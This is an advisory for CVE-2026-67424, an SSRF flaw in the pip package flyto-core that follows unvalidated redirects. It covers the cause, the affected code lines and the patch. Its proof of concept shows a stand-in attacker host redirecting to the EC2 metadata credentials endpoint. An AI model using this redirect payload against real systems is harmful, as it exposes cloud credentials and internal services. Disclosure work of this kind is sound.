high · 8.5CVE-2026-67424Jul 30, 2026

CVE-2026-67424: flyto-core SSRF via Unvalidated HTTP Redirect

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

The http.get, http.request, and http.batch modules in flyto-core only check the initial URL against the SSRF guard, then silently follow 302 redirects into internal or cloud-metadata addresses…

Packageflyto-core
Ecosystempip
Affected<= 2.26.6
Fixed in2.26.7
CVE-2026-67424: flyto-core SSRF via Unvalidated HTTP Redirect

The problem

flyto-core's HTTP modules call validate_url_with_env_config on the caller-supplied URL before issuing the request, which is the right idea. The problem is that aiohttp's default allow_redirects=True means any 302 response is followed automatically, and the guard is never called again on the redirect target.

An attacker hosts a public URL (which passes the guard) that returns a 302 pointing at an internal address such as the EC2 metadata endpoint or a private service. The module follows the redirect and returns the internal body to the caller. The three affected sinks are get.py:116, request.py:60, and batch.py:57.

None set allow_redirects=False and no redirect-hook exists in the codebase.

Proof of concept

A working proof-of-concept for CVE-2026-67424 in flyto-core, with the exact payload below.

bash
# Attacker controls http://attacker.tld/r
# That endpoint returns:
#   HTTP/1.1 302 Found
#   Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Victim workflow or MCP call:
execute_module http.get {"url": "http://attacker.tld/r"}

# Guard runs on attacker.tld -> passes (public host)
# aiohttp follows the 302 silently
# Response body is the internal/metadata content

The root cause is a single-point validation model paired with aiohttp's transparent redirect following. validate_url_with_env_config runs once at the call site (get.py:104) then session.get(url) issues the request at get.py:116 with no allow_redirects argument, defaulting to True.

A grep of the http/ directory for on_request_redirect or response.history returns nothing, confirming there is zero redirect interception.

The patch adds allow_redirects=False to all three session calls and manually fetches each Location header, running it through validate_url_with_env_config before following. This is the standard fix for CWE-918 in redirect-capable HTTP clients. The CVSS scope-change (S:C) reflects that the bypass undermines the primary security control of the entire module family.

The fix

Upgrade flyto-core to 2.26.7 (patch commit 0a0a528520ec18f5a21f1ddf858a71cc1edfb6e9). The fix sets allow_redirects=False on all three affected session calls and revalidates every Location header through validate_url_with_env_config before following each hop. No workaround exists in older releases short of blocking redirect-capable HTTP modules at the policy level.

Reported by zx (Jace).

References: [1][2][3][4][5]

Related research